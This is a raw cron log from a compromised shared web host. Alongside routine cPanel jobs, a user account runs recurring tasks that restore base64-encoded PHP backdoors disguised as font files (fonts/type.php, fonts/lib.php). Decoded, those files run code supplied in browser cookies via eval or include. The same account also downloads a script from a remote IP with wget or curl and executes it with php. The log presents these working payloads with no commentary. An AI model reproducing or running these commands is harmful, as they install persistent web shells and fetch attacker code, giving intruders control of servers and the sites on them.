Sep  4 05:43:01 ip-184-168-122-23 CROND[32403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:43:01 ip-184-168-122-23 CROND[32402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:44:01 ip-184-168-122-23 CROND[32605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:44:01 ip-184-168-122-23 CROND[32606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:44:01 ip-184-168-122-23 CROND[32609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:44:01 ip-184-168-122-23 CROND[32610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:44:01 ip-184-168-122-23 CROND[32611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:45:01 ip-184-168-122-23 CROND[32766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:45:01 ip-184-168-122-23 CROND[315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:45:01 ip-184-168-122-23 CROND[314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:45:01 ip-184-168-122-23 CROND[316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:45:01 ip-184-168-122-23 CROND[300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:45:01 ip-184-168-122-23 CROND[317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:46:02 ip-184-168-122-23 CROND[449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:46:02 ip-184-168-122-23 CROND[457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:46:02 ip-184-168-122-23 CROND[460]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 05:46:02 ip-184-168-122-23 CROND[462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:46:02 ip-184-168-122-23 CROND[463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:46:02 ip-184-168-122-23 CROND[461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:46:02 ip-184-168-122-23 CROND[464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:47:01 ip-184-168-122-23 CROND[591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:47:01 ip-184-168-122-23 CROND[592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:47:01 ip-184-168-122-23 CROND[593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:47:01 ip-184-168-122-23 CROND[594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:48:02 ip-184-168-122-23 CROND[756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:48:02 ip-184-168-122-23 CROND[758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:48:02 ip-184-168-122-23 CROND[760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:48:02 ip-184-168-122-23 CROND[759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:48:02 ip-184-168-122-23 CROND[762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:49:01 ip-184-168-122-23 CROND[872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:49:01 ip-184-168-122-23 CROND[874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:49:01 ip-184-168-122-23 CROND[876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:49:01 ip-184-168-122-23 CROND[877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:50:01 ip-184-168-122-23 CROND[996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:50:01 ip-184-168-122-23 CROND[997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:50:01 ip-184-168-122-23 CROND[999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:50:01 ip-184-168-122-23 CROND[1001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:50:01 ip-184-168-122-23 CROND[1006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:50:01 ip-184-168-122-23 CROND[1007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:50:01 ip-184-168-122-23 CROND[1004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:50:01 ip-184-168-122-23 CROND[1009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:50:01 ip-184-168-122-23 CROND[1010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:51:01 ip-184-168-122-23 CROND[1140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:51:01 ip-184-168-122-23 CROND[1142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:51:01 ip-184-168-122-23 CROND[1144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:51:01 ip-184-168-122-23 CROND[1145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:52:01 ip-184-168-122-23 CROND[1273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:52:01 ip-184-168-122-23 CROND[1274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:52:01 ip-184-168-122-23 CROND[1281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:52:01 ip-184-168-122-23 CROND[1283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:52:01 ip-184-168-122-23 CROND[1282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:53:01 ip-184-168-122-23 CROND[1395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:53:01 ip-184-168-122-23 CROND[1396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:53:01 ip-184-168-122-23 CROND[1397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:53:01 ip-184-168-122-23 CROND[1399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:54:01 ip-184-168-122-23 CROND[1645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:54:01 ip-184-168-122-23 CROND[1649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:54:01 ip-184-168-122-23 CROND[1647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:54:02 ip-184-168-122-23 CROND[1651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:54:02 ip-184-168-122-23 CROND[1646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:55:01 ip-184-168-122-23 CROND[1803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:55:01 ip-184-168-122-23 CROND[1805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
